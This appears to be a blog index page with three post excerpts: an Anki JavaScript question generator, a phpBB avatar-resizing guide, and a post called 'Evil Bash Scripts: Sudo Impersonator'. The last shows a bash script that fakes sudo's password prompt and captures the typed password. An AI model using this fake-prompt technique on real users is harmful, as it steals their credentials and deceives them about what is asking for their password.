Random Question Generator on Anki using JavaScript

Updated 2016-10-17 to work with AnkiDroid!


Anki is brilliant. It has really lived up to its motto ‘Remember Anything, Remember Anywhere, Remember Efficiently’ for being my go-to way to remember notes and other information. This is made all the more powerful through its HTML-based… »

GUIDE: Automatically resize phpBB avatars in post displays

  1. Open the includes/functions_display.php file in a text editor.
  2. Above the return '<img src="' . (str_replace( … line, insert the code:
    $inputwidth = 100;
    $inputheight = 100;

    // So then if the image is wider rather than taller, set the width and figure out the height

Evil Bash Scripts: Sudo Impersonator

[runassudo@NEXUS tmp]$ cat awesomeprogram
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
echo "Sorry, try again."
echo -n "[sudo] password for $SUDO_USER: "
read -s tmp
echo ""
echo "PASSWORD IS $tmp"
# Do evil things